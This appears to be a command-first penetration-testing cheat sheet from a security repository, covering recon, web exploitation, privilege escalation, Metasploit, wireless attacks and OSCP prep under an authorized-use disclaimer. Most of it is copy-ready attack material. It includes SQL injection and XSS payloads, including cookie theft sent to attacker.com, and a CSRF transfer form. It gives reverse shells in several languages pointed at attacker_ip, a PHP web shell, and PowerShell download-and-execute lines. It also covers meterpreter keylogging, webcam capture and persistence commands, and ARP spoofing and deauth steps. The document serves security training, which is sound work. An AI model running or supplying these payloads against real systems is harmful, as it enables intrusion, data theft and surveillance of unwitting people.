Repository navigation
Cybersecurity Comprehensive Cliff Notes
Reference index and audit status: Reviewed cheat sheets and references.
Note
Selected reference audit: October 31, 2026. This is a historical multi-topic compendium, not a guarantee every pasted command works with the latest tool release. Some sections are intentionally preserved as legacy demonstrations; use the official OWASP Top 10:2025 for current categories, Arch/Debian cheat sheets for safe system commands, and Wireshark reference for protocol investigations.
Caution
Authorized use only. The techniques below are for authorized security testing, education, and defensive research. Using them against systems you do not own or lack explicit written permission to test is illegal. See LEGAL.md.
- Ethical Hacking Fundamentals
- Reconnaissance & Information Gathering
- Network Security & Exploitation
- Web Application Security
- System Hacking & Post-Exploitation
- Metasploit Framework
- Wireless Network Security
- Social Engineering
- Cryptography Essentials
- Digital Forensics
- Penetration Testing Methodology
- OSCP Preparation
A condensed, command-first quick-reference - where ultimate_cybersecurity_master_guide.md explains methodology in depth, this file is the "essentials at a glance" version for looking something up mid-engagement.
12 topic sections mirroring the master guide's core lifecycle (recon through OSCP prep) but stripped to bullet points and command snippets, plus a dedicated "Quick Reference Commands" section at the end. Differs from ultimate_cybersecurity_master_guide.md and ENHANCED_MASTER_GUIDE.md by omitting explanation/context in favor of density - no prose walkthroughs, just what to run and when.
A command or concept can be located and copy-pasted in seconds without reading surrounding narrative.
Mid-engagement, during a live exam (OSCP), or any time you already know the methodology and just need the exact syntax.
- Definition: Authorized attempt to gain unauthorized access to systems, applications, or data
- Purpose: Identify vulnerabilities before malicious actors exploit them
- Legal Framework: Always obtain written authorization before testing
- White Hat: Ethical hackers working with authorization
- Black Hat: Malicious hackers breaking laws
- Gray Hat: Operate in between, sometimes without authorization but without malicious intent
- Reconnaissance: Information gathering
- Scanning: Identifying live systems and open ports
- Gaining Access: Exploiting vulnerabilities
- Maintaining Access: Persistence mechanisms
- Covering Tracks: Log manipulation and evidence removal
- Confidentiality: Information accessible only to authorized parties
- Integrity: Data remains unaltered
- Availability: Systems remain accessible when needed
- Non-Repudiation: Actions cannot be denied
Goal: Gather information without directly interacting with target
- Search Engines: Google dorking, Bing, DuckDuckGo
- Social Media: LinkedIn, Twitter, Facebook for employee info
- Public Records: WHOIS, DNS records, company registrations
- Website Analysis: Archive.org, built-with tools
- theHarvester: Email, subdomain, and name discovery
- Maltego: Link analysis and data mining
- Shodan: Internet of Things search engine
- Recon-ng: Web reconnaissance framework
- SpiderFoot: Automated OSINT gathering
site:target.com filetype:pdf
site:target.com inurl:admin
site:target.com intitle:"index of"
site:target.com ext:sql | ext:txt
Goal: Direct interaction to gather information
# Zone Transfer
dig axfr @nameserver domain.com
host -t ns domain.com
# Subdomain discovery
dnsrecon -d domain.com
dnsenum domain.com# Ping sweep
nmap -sn 192.168.1.0/24
# Port scanning
nmap -sS -p- -T4 target.com
nmap -sV -O target.com- SYN Scan (-sS): Stealthy, doesn't complete handshake
- Connect Scan (-sT): Full TCP connection
- ACK Scan (-sA): Firewall detection
- FIN Scan (-sF): Evades some firewalls
nmap -sU -p 53,161,500 target.com# Vulnerability scanning
nmap --script vuln target.com
# Service enumeration
nmap --script=banner target.com
nmap --script=smb-enum-shares target.com# Enumeration
enum4linux -a target.com
smbclient -L //target.com
nbtscan 192.168.1.0/24
# Exploitation (EternalBlue)
use exploit/windows/smb/ms17_010_eternalblue# Anonymous login check
ftp target.com
# Username: anonymous
# Banner grabbing
nc target.com 21
telnet target.com 21# Version detection
nc target.com 22
# Brute force (use responsibly)
hydra -l user -P wordlist.txt ssh://target.com# Directory enumeration
dirb http://target.com
gobuster dir -u http://target.com -w wordlist.txt
feroxbuster -u http://target.com# Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
# ARP spoofing
arpspoof -i eth0 -t victim_ip gateway_ip
arpspoof -i eth0 -t gateway_ip victim_ip
# Using ettercap
ettercap -T -M arp:remote /gateway_ip// /victim_ip//The current OWASP Top 10:2025, as published by OWASP, is: A01 Broken Access Control; A02 Security Misconfiguration; A03 Software Supply Chain Failures; A04 Cryptographic Failures; A05 Injection; A06 Insecure Design; A07 Authentication Failures; A08 Software or Data Integrity Failures; A09 Security Logging and Alerting Failures; A10 Mishandling of Exceptional Conditions.
Warning
The older numbered examples that follow are historical examples, not the official 2025 ordering or a complete current taxonomy. Use OWASP's current list for teaching, audits, report mappings and findings.
- Description: Users can act outside intended permissions
- Examples: URL manipulation, privilege escalation
- Testing:
# Directory traversal
http://target.com/file?path=../../../../etc/passwd
# IDOR (Insecure Direct Object Reference)
http://target.com/user?id=123 (try id=124,125,etc)- Description: Weak encryption, plaintext storage
- Testing: Check for SSL/TLS vulnerabilities
sslscan target.com
testssl target.comSQL Injection
-- Authentication bypass
' OR '1'='1
admin'--
admin' #
-- Union-based
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT username,password FROM users--
-- Error-based
' AND 1=CONVERT(int,(SELECT @@version))--
-- Blind SQL injection
' AND 1=1-- (True)
' AND 1=2-- (False)SQLMap Tool
sqlmap -u "http://target.com/page?id=1" --dbs
sqlmap -u "http://target.com/page?id=1" -D database --tables
sqlmap -u "http://target.com/page?id=1" -D database -T users --dumpCommand Injection
; ls -la
| whoami
& ping -c 4 attacker.com
`cat /etc/passwd`
$(whoami)LDAP Injection
*)(uid=*))(|(uid=*
admin*)(&(password=*)
- Design flaws in architecture
- Missing security controls
- Threat modeling failures
# Common misconfigurations
- Default credentials
- Unnecessary features enabled
- Detailed error messages
- Missing security headers
# Testing
curl -I http://target.com
nikto -h target.com# Identify components
whatweb target.com
wappalyzer (browser extension)
# Check for known vulnerabilities
searchsploit application_name# Brute force
hydra -l admin -P wordlist.txt target.com http-post-form
# Session attacks
- Session fixation
- Weak session IDs
- Missing session timeout- Insecure deserialization
- Unsigned/unverified updates
- CI/CD pipeline compromises
- Insufficient logging
- Log injection attacks
- Logs not monitored
# Testing SSRF
http://target.com/fetch?url=http://localhost
http://target.com/fetch?url=http://169.254.169.254/latest/meta-data/
http://target.com/fetch?url=file:///etc/passwd<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')><script>document.location='http://attacker.com/?c='+document.cookie</script><script>
var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</script><IMG SRC=javascript:alert('XSS')>
<BODY ONLOAD=alert('XSS')>
<iframe src=javascript:alert('XSS')><img src="http://bank.com/transfer?amount=1000&to=attacker" style="display:none">
<form action="http://bank.com/transfer" method="POST">
<input type="hidden" name="amount" value="1000">
<input type="hidden" name="to" value="attacker">
</form>
<script>document.forms[0].submit();</script># PHP reverse shell
<?php system($_GET['cmd']); ?>
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'"); ?>
# Upload bypasses
- Double extensions: shell.php.jpg
- Null byte: shell.php%00.jpg
- MIME type manipulation
- Magic number modificationhash-identifier
hashid hash_value# Crack password hashes
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
john --format=NT hashes.txt
john --show hashes.txt
# Generate wordlist
john --wordlist=words.txt --rules --stdout > mutated.txt# MD5
hashcat -m 0 -a 0 hash.txt wordlist.txt
# NTLM
hashcat -m 1000 -a 0 hash.txt wordlist.txt
# SHA-256
hashcat -m 1400 -a 0 hash.txt wordlist.txt
# Brute force
hashcat -m 0 -a 3 hash.txt ?a?a?a?a?a?a?a?aTip
Leet substitutions (P@55w0rd) are covered by hashcat's bundled leet rule files. See leet in passwords.
# SSH
hydra -l username -P wordlist.txt ssh://target.com
# FTP
hydra -l admin -P wordlist.txt ftp://target.com
# HTTP POST
hydra -l admin -P wordlist.txt target.com http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect"
# RDP
hydra -l administrator -P wordlist.txt rdp://target.com- MS17-010 (EternalBlue): SMB vulnerability
- MS08-067: Windows Server Service vulnerability
- MS14-058: TrackPopupMenu vulnerability
# System information
systeminfo
hostname
whoami /all
# User enumeration
net user
net localgroup administrators
net user /domain
# Network information
ipconfig /all
route print
arp -a
netstat -ano
# Running processes
tasklist /svc
wmic process list brief
# Scheduled tasks
schtasks /query /fo LIST /v
# Unquoted service paths
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """
# Writable services
accesschk.exe -uwcqv "Authenticated Users" *
# Registry auto-runs
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run# Execution policy bypass
powershell -ExecutionPolicy Bypass -File script.ps1
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/script.ps1')"
# Get system info
Get-ComputerInfo
Get-WmiObject -Class Win32_OperatingSystem
# Find files
Get-ChildItem -Path C:\ -Include *.txt,*.pdf -Recurse -ErrorAction SilentlyContinue
# Download file
Invoke-WebRequest -Uri http://attacker.com/file.exe -OutFile file.exe# System enumeration
uname -a
cat /etc/issue
cat /etc/*-release
hostname
# User information
id
whoami
who
w
last
cat /etc/passwd
cat /etc/shadow
# Sudo privileges
sudo -l
# SUID files
find / -perm -4000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
# Writable directories
find / -writable -type d 2>/dev/null
find / -perm -222 -type d 2>/dev/null
# Cron jobs
crontab -l
cat /etc/crontab
ls -la /etc/cron.*
# World-writable scripts in PATH
echo $PATH
find / -type f -writable 2>/dev/null
# Capabilities
getcap -r / 2>/dev/null
# Kernel exploits
searchsploit linux kernel version- Sudo commands that can be exploited
- SUID binaries for privilege escalation
- Capabilities abuse
Examples:
# vim
sudo vim -c ':!/bin/sh'
# find
sudo find / -exec /bin/sh \; -quit
# nmap (older versions)
echo "os.execute('/bin/sh')" > shell.nse
sudo nmap --script=shell.nse
# python
sudo python -c 'import os; os.system("/bin/sh")'# Attacker machine
nc -lvnp 4444
nc -lvnp 4444 -e /bin/bash # Windows
# Victim machine (Linux)
nc attacker_ip 4444 -e /bin/bash
bash -i >& /dev/tcp/attacker_ip/4444 0>&1
# Victim machine (Windows)
nc attacker_ip 4444 -e cmd.exebash -i >& /dev/tcp/attacker_ip/4444 0>&1
0<&196;exec 196<>/dev/tcp/attacker_ip/4444; sh <&196 >&196 2>&196python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker_ip",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'php -r '$sock=fsockopen("attacker_ip",4444);exec("/bin/sh -i <&3 >&3 2>&3");'$client = New-Object System.Net.Sockets.TCPClient("attacker_ip",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()# Python TTY
python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
# CTRL+Z (background shell)
stty raw -echo; fg
# Then press Enter twice
# Set terminal
export TERM=xterm
export SHELL=bash
# Alternative methods
echo os.system('/bin/bash')
/bin/sh -i
perl -e 'exec "/bin/sh";'
ruby: exec "/bin/sh"Note
Canonical reference: the deepest Metasploit treatment lives in advanced_techniques_supplement.md. These are quick-reference notes.
# Start Metasploit
msfconsole
# Update
msfupdate
# Search
search type:exploit platform:windows
search cve:2017 type:exploit
# Module info
info exploit/windows/smb/ms17_010_eternalblue
# Use module
use exploit/windows/smb/ms17_010_eternalblue
# Show options
show options
show payloads
show targets
# Set options
set RHOSTS target_ip
set RHOST target_ip
set LHOST attacker_ip
set LPORT 4444
set payload windows/meterpreter/reverse_tcp
# Run exploit
exploit
run
# Background session
background
CTRL+Z
# List sessions
sessions -l
# Interact with session
sessions -i 1# EternalBlue (MS17-010)
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS target_ip
set payload windows/x64/meterpreter/reverse_tcp
set LHOST attacker_ip
exploit
# BlueKeep (MS12-020)
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
# Tomcat Manager
use exploit/multi/http/tomcat_mgr_upload
# Jenkins Script Console
use exploit/multi/http/jenkins_script_console
# Apache Struts
use exploit/multi/http/struts2_content_type_ognl# System
sysinfo
getuid
getpid
ps
# User
getuid
getsystem # Privilege escalation
hashdump # Dump password hashes
# File system
pwd
ls
cd
cat file.txt
download file.txt
upload malware.exe
search -f *.txt
# Network
ipconfig
route
arp
netstat
# Process
ps
getpid
migrate PID
kill PID
# Screenshot & webcam
screenshot
webcam_snap
webcam_stream
# Keylogging
keyscan_start
keyscan_dump
keyscan_stop
# Persistence
run persistence -X -i 10 -p 4444 -r attacker_ip
# Pivoting
run autoroute -s 10.10.10.0/24
portfwd add -l 3389 -p 3389 -r target_ip
# Shell
shell # Drop to system shell# Credential harvesting
use post/windows/gather/credentials/credential_collector
use post/windows/gather/enum_chrome
# Network enumeration
use post/windows/gather/arp_scanner
use post/windows/gather/enum_shares
# Privilege escalation
use post/multi/recon/local_exploit_suggester
use post/windows/gather/enum_patches
# Lateral movement
use exploit/windows/smb/psexec
use exploit/windows/smb/psexec_psh# Scanners
use auxiliary/scanner/portscan/tcp
use auxiliary/scanner/smb/smb_version
use auxiliary/scanner/http/dir_scanner
use auxiliary/scanner/ssh/ssh_login
# Sniffers
use auxiliary/sniffer/psnuffle
# Denial of Service
use auxiliary/dos/tcp/synflood
# Fuzzing
use auxiliary/fuzzers/http/http_form_field- WEP: Deprecated, easily crackable
- WPA: Better than WEP, still vulnerable
- WPA2: Widely deployed; patch vulnerabilities, enforce strong PSKs or enterprise authentication, validate PMF and client updates
- WPA3: Modern security suite with SAE/enterprise modes; not equivalent to WPA2-PSK capture/cracking and still requires secure configuration
# Put interface in monitor mode
airmon-ng check kill
airmon-ng start wlan0
# Scan for networks
airodump-ng wlan0mon
# Capture handshake
airodump-ng -c channel --bssid AP_MAC -w capture wlan0mon
# ACTIVE DEAUTH - lab-only and disruptive. PMF can block forged disconnects.
# For passive monitoring see Documentation/wifi-deauthentication-detection.md
aireplay-ng --deauth 10 -a AP_MAC wlan0mon# Crack handshake
aircrack-ng -w wordlist.txt -b AP_MAC capture.cap
# Using Hashcat
cap2hccapx capture.cap output.hccapx
hashcat -m 2500 output.hccapx wordlist.txt# Create rogue AP
airbase-ng -e "FreeWiFi" -c 6 wlan0mon
# DHCP server
dhcpd -cf /etc/dhcp/dhcpd.conf
# DNS spoofing
dnsspoof -i at0
# SSL strip
sslstrip -l 8080
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080# Scan for WPS-enabled APs
wash -i wlan0mon
# Pixie Dust attack
reaver -i wlan0mon -b AP_MAC -c channel -K
# Brute force PIN
reaver -i wlan0mon -b AP_MAC -c channel -vv# Scan for devices
hcitool scan
bluetoothctl scan on
# Device info
hcitool info MAC_ADDRESS
# L2ping DoS
l2ping -i hci0 -s 600 -f MAC_ADDRESS- Spear Phishing: Targeted at specific individuals
- Whaling: Targeting high-profile executives
- Clone Phishing: Legitimate email replicated with malicious link
# SET (Social Engineering Toolkit)
setoolkit
# Gophish
gophish
# King Phisher
king-phisher- Creating fabricated scenario
- Building trust with target
- Extracting sensitive information
- Offering something enticing
- Infected USB drives
- Free software downloads
- Following authorized person through secure entry
- Social manipulation
- Physical security bypass
- Voice phishing
- Caller ID spoofing
- Impersonation
- Text message attacks
- Malicious links
- Urgent requests
- Awareness Training: Regular security education
- Verification: Always verify unusual requests
- Policies: Clear security policies and procedures
- Technical Controls: Email filtering, multi-factor authentication
- Reporting: Encourage reporting of suspicious activity
- Same key for encryption and decryption
- Algorithms: AES, DES, 3DES, Blowfish, RC4
- Pros: Fast, efficient for large data
- Cons: Key distribution problem
- Public and private key pair
- Algorithms: RSA, ECC, ElGamal, DSA
- Pros: Secure key exchange
- Cons: Slower than symmetric
- One-way functions
- Fixed-length output
- Algorithms: MD5, SHA-1, SHA-256, SHA-512, NTLM
- Deterministic: Same input = same output
- Collision Resistant: Hard to find two inputs with same hash
- Pre-image Resistant: Can't derive input from hash
- Avalanche Effect: Small input change drastically changes hash
Message โ Hash โ Encrypt with Private Key โ Digital Signature
Verify โ Decrypt with Public Key โ Compare Hashes
- SSL: Secure Sockets Layer (deprecated)
- TLS: Transport Layer Security (current standard)
- Versions: TLS 1.0, 1.1 (deprecated), 1.2, 1.3 (recommended)
# Test SSL/TLS
sslscan target.com
testssl.sh target.com
nmap --script ssl-enum-ciphers target.com- Certificate Authority (CA): Issues certificates
- Registration Authority (RA): Verifies certificate requests
- Certificate Revocation List (CRL): List of revoked certificates
- OCSP: Online Certificate Status Protocol
- Hiding data within other data
- Tools: steghide, OpenStego, SteganoShark
# Hide data
steghide embed -cf image.jpg -ef secret.txt
# Extract data
steghide extract -sf image.jpg- Caesar/ROT13, Atbash, Vigenรจre, Playfair, Morse, Baconian, Polybius, leetspeak and Unicode look-alikes
- Common in CTFs and OSINT; none are secure for real data
- Charts, cryptanalysis (frequency analysis, Kasiski, Index of Coincidence) and a Python toolkit: Cryptography/Classical/
- Minimize Data Loss: Preserve original evidence
- Record Everything: Document all actions
- Analyze Without Modification: Use write blockers
- Report Findings: Comprehensive documentation
- Chain of Custody: Maintain evidence integrity
- Computer Forensics: PCs, laptops, servers
- Mobile Forensics: Smartphones, tablets
- Network Forensics: Traffic analysis, intrusion detection
- Memory Forensics: RAM analysis
- Cloud Forensics: Cloud infrastructure and services
- Identify digital evidence
- Determine scope
- Legal considerations
# Create forensic image
dd if=/dev/sda of=image.dd bs=4M
dcfldd if=/dev/sda of=image.dd hash=md5 hashlog=hash.txt
# Verify integrity
md5sum image.dd
sha256sum image.dd- Acquire volatile data first (RAM, running processes)
- Then non-volatile data (hard drives, USB)
- Use write blockers
# File system analysis
autopsy
sleuthkit
# Memory analysis
volatility -f memory.dump imageinfo
volatility -f memory.dump --profile=Win10x64 pslist
volatility -f memory.dump --profile=Win10x64 netscan
# Log analysis
grep -r "pattern" /var/log/- Timeline creation
- Chain of custody forms
- Detailed reports
- Screenshots and evidence photos
- Clear, non-technical language
- Visual aids
- Expert testimony preparation
# Disk imaging
dd, dcfldd, FTK Imager
# Analysis
Autopsy, EnCase, FTK, X-Ways
# Memory forensics
Volatility, Rekall
# Network forensics
Wireshark, NetworkMiner, tcpdump
# Mobile forensics
Cellebrite, Oxygen Forensics# Volatile data collection order
1. Network connections: netstat -ano
2. Logged-in users: who, w
3. Running processes: ps aux, tasklist
4. Open files: lsof
5. System information: systeminfo, uname -a
6. Memory dump: FTK Imager, winpmem
7. Disk image: dd, dcfldd- Data Wiping: Secure deletion tools
- Encryption: Full disk encryption
- Steganography: Hiding data
- Log Manipulation: Clearing or modifying logs
- Timestamp Manipulation: Changing file times
- Obfuscation: Making analysis difficult
- Define Objectives: What are we testing?
- Scope: IP ranges, domains, systems in/out of scope
- Rules of Engagement: Testing windows, contacts, constraints
- Legal Documentation: Contracts, authorization letters, NDAs
- Passive reconnaissance
- Active reconnaissance
- OSINT gathering
- Social media profiling
- DNS enumeration
- Subdomain discovery
- Identify assets
- Determine threats
- Assess vulnerabilities
- Prioritize risks
# Automated scanners
nessus
openvas
nexpose
# Manual testing
nmap scripts
custom checks
configuration review- Verify vulnerabilities
- Gain initial access
- Exploit carefully (avoid damage)
- Document all exploits
- Privilege escalation
- Lateral movement
- Data exfiltration simulation
- Persistence establishment
- Covering tracks (document, don't actually do)
- High-level overview
- Business impact
- Key recommendations
- Risk ratings
- Vulnerability details
- Exploitation steps
- Screenshots/evidence
- Remediation steps
- CVSS scores
- Detailed findings
- Tool outputs
- Raw data
- Methodology
- Introduction: Scope, methodology, limitations
- Executive Summary: High-level findings
- Technical Findings: Detailed vulnerabilities
- Risk Assessment: Severity ratings
- Recommendations: Prioritized remediation steps
- Conclusion: Summary and next steps
- Critical: Immediate threat, easy to exploit
- High: Significant risk, moderate difficulty
- Medium: Moderate risk, some skill required
- Low: Minimal risk, difficult to exploit
- Informational: No immediate risk, best practices
- Duration: 23 hours 45 minutes
- Format: 5 machines to compromise
- Passing: 70 points minimum
- Report: 24 hours after exam ends
- 10 points: Buffer overflow machine
- 25 points: Two machines (usually)
- 20 points: Two machines (usually)
- Total: 100 points possible
- Port scanning (Nmap)
- Web enumeration (Gobuster, Nikto)
- Service enumeration (SMB, FTP, etc.)
- Always enumerate thoroughly
- Web application vulnerabilities
- Buffer overflow (mandatory 25 points)
- Privilege escalation (Windows & Linux)
- Password attacks
# Basic structure
1. Fuzzing - crash the application
2. Control EIP - find offset
3. Bad characters - identify
4. Find JMP ESP - use mona.py
5. Generate shellcode - msfvenom
6. Exploit - execute payload# Linux
- SUID binaries
- Sudo misconfigurations
- Kernel exploits
- Cron jobs
- PATH hijacking
# Windows
- Unquoted service paths
- Weak file permissions
- AlwaysInstallElevated
- Stored credentials
- Token impersonation- PWK Course Material: Primary resource
- TJ Null's OSCP List: Practice boxes on HTB/VulnHub
- IppSec Videos: Walkthroughs and techniques
- Forums: Reddit r/oscp, OSCP Discord
- HackTheBox: Similar to OSCP machines
- VulnHub: Free vulnerable VMs
- Proving Grounds: OffSec's practice platform
- TryHackMe: Guided learning paths
- Read Carefully: Follow all exam restrictions
- Document Everything: Screenshots, commands, timestamps
- Time Management: Don't get stuck on one machine
- Buffer Overflow First: Easy 25 points
- Try Harder: Enumerate more when stuck
- Take Breaks: Stay fresh and focused
- Report Quality: Clear, professional documentation
- Screenshots with IP addresses and timestamps
- Step-by-step exploitation process
- Proof.txt contents (screenshots)
- Code snippets used
- Professional formatting
- Insufficient enumeration: Always enumerate more
- Rabbit holes: Know when to move on
- Poor documentation: Screenshot everything
- Time mismanagement: Budget time wisely
- Not reading restrictions: Follow all rules
- Skipping buffer overflow: Free 25 points
nmap -sC -sV -oA scan target.com
nmap -p- -T4 target.com
nmap --script vuln target.comgobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
ffuf -u http://target.com/FUZZ -w wordlist.txt
nikto -h http://target.comenum4linux -a target.com
smbclient -L //target.com
smbmap -H target.com# HTTP Server (Python)
python3 -m http.server 80
python2 -m SimpleHTTPServer 80
# Download (Windows)
certutil -urlcache -f http://attacker/file.exe file.exe
powershell -c "(New-Object Net.WebClient).DownloadFile('http://attacker/file.exe','file.exe')"
# Download (Linux)
wget http://attacker/file
curl http://attacker/file -o file# Listener
nc -lvnp 4444
rlwrap nc -lvnp 4444
# Reverse shell
bash -i >& /dev/tcp/attacker_ip/4444 0>&1
nc attacker_ip 4444 -e /bin/bash# Linux
sudo -l
find / -perm -4000 -type f 2>/dev/null
LinPEAS.sh
# Windows
whoami /priv
icacls "path"
winPEAS.exeThis comprehensive guide covers the essential topics in cybersecurity and penetration testing. Remember:
- Always Have Authorization: Never test without explicit written permission
- Document Everything: Thorough documentation is crucial
- Continuous Learning: Stay updated with latest vulnerabilities and techniques
- Practice Legally: Use authorized platforms like HTB, TryHackMe, OSCP labs
- Ethical Responsibility: Use skills to protect, not harm
- Set up your own lab environment
- Practice on CTF platforms
- Join cybersecurity communities
- Pursue certifications (OSCP, CEH, Security+)
- Stay current with security news and advisories
- OWASP: https://owasp.org
- MITRE ATT&CK: https://attack.mitre.org
- HackTricks: https://hacktricks.wiki/en
- PayloadsAllTheThings: GitHub repository
- GTFOBins: https://gtfobins.org
- LOLBAS: Living Off The Land Binaries and Scripts
Remember: With great power comes great responsibility. Always use these skills ethically and legally.
- README.md - Full repo index
- ultimate_cybersecurity_master_guide.md - Full methodology context
- Documentation/LinuxCheatSheet.md - Linux commands context
- Checklists index - Structured checklists for each phase
โฌ ๏ธ Back to Master Index | ๐ฏ Role Navigation | Legal Notice
๐ Source: cybersecurity_cliff_notes.md | โ๏ธ Suggest an edit | โฌ
๏ธ Back to Master Guides & Repository Reference
- ๐บ๏ธ Browse by Topic
- ๐ All Repository Files
- ๐งญ Learning Paths
- ๐ Master Guide
- ๐ค Glossary
- โ๏ธ Legal & Disclaimer
๐ Foundations & Learning
๐ก๏ธ Defense & Investigations
- Incident Response
- Open Source Intelligence (OSINT)
- Reverse Engineering
- Operations Security (OPSEC)
- Compliance
โ๏ธ Platforms & Infrastructure
๐ก Hardware, Wireless & Field Projects
- PNWC Cyberdeck
- Hardware Testing
- Hardware Hacking
- Software-Defined Radio
- Wardriving
- uConsole
- Space Security
๐งฐ Assessment & Field Reference
๐ฆ Downloads & Project Resources
๐๏ธ Additional Topics